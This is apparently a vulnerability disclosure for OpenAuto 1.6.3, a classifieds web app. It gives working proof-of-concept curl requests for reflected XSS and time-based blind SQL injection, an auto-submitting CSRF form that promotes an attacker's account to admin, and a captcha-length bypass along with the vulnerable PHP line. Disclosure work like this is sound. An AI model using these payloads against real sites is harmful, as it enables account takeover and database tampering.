Credit:Michael Brooks
Affects:OpenAuto 1.6.3
Vulnerabilites: XSRF/XSS/Blind SQLi/Captcha Bypass
http://openautoclassifieds.com/
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Reflective XSS by adding a onclick event handler.
http://localhost/openauto_full_v1.6.3/contact.php
Affected post variables:
seller_contact_id
listing
company
phone
from_name

XSS PoC:
curl -d "from_name=Dave&phone=1-123-1234&company=Software
Testing&submit=Submit&from_email=test@sometest38752.com&captcha=on&listing=\"
onclick=alert(1) j=\" &seller_contact_id=1&news=1&subject=on&"
http://localhost/openauto_full_v1.6.3/contact.php > xss_test.html
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PoC XSRF exploit make a user account of the attacker's choice into an
admin account:
<html>
	<form action="http://localhost/openauto_full_v1.6.3/admin/listuser.php"
method="post">
		<input id="company_name" name="company_name" type="text" size="30"
maxlength="30" value="" />
		<input id="first_name" name="first_name" type="text" size="30"
maxlength="30" value="badmin" />
		<input id="last_name" name="last_name" type="text" size="30"
maxlength="30" value="badmin" />
		<input id="phone" name="phone" type="text" size="30" maxlength="30"
value="12312341234" />
		<input id="alt_phone" name="alt_phone" type="text" size="30"
maxlength="30" value="" />
		<input id="fax" name="fax" type="text" size="30" maxlength="30" value="" />
		<input id="email" name="email" type="text" size="35" maxlength="50"
value="badmin@badmin.com" />
		<input name="country" onchange="getZone(this.id)"size="1">
		<input id="state" name="state" size="1">
		<input id="city" name="city" type="text" size="30" maxlength="30" value="" />
		<input id="address" name="address" type="text" size="30"
maxlength="60" value="" />
		<input id="zip" name="zip" type="text" size="6"/>
		<input name="user_level" value=9/><!--a value of 9 makes this an
admin account-->
		<input id="user" name="user" type="hidden" value="badmin" />
		<input id="id" name="id" type="hidden" value="5" /><!--Make sure
this is the user ID of an account you control!-->
		<input name="submit" value="update" />
		<input type=submit id=s>
	</form>
	<script>
		document.getElementById('s').click();
	</script>
</html>
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Blind SQL Injection.  You must a dealer and you must be editing a
listing that you have posted.
PoC:
curl http://localhost/openauto_full_v1.6.3/editlisting.php -d
"ad_title=test&make=Acura&model=test&vehicle_type=4X4&doors=&color=&mileage=0&year=0000&listing_condition=&engine=&trans=&drive_train=&mpg=0&fuel_type=&price=0.00&adddesc=&vin=&stock=&country=&state=&city=&address=&zip=&seller=someuser&id=sleep(10)&submit=Update+Listing"
Resulting query:
UPDATE listings SET approved = 1, ad_title = 'test', make = 'Acura',
model = 'test', vehicle_type = '4X4', doors = '', color = '', mileage
= '0', year = '0000', listing_condition = '', engine = '', trans = '',
drive_train = '', mpg = '0', fuel_type = '', price = '0.00', adddesc =
'', features = '', vin = '', stock = '', country = '', city = '',
state = '', address = '', zip = '', sold = '0', sellerid = '4', seller
= 'someuser' WHERE id = sleep(10)
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PoC this request will result in a capthca of only a single charicter
to be dispalyed.
http://172.16.111.128/Audits/other/openauto_full_v1.6.3/Captcha.php?characters=3&len=1
After this request the $_SESSION["security_code"] will be overwritten
and any captcha on the site will now be chaicter in size.

This list is 53 chaciters long,  thus a blind bot has the chance of
1/53 of guessing the correct answer.
$possible = '23456789abcdefghjkmnpqrstvwxyzABCDEFGHJKLMNPQRSTVWXYZ';

Vulnerable code:
./openauto_full_v1.6.3/Captcha.php line 36:
$len = isset($_GET['len']) && $_GET['characters'] > 2 ? $_GET['len'] : '6';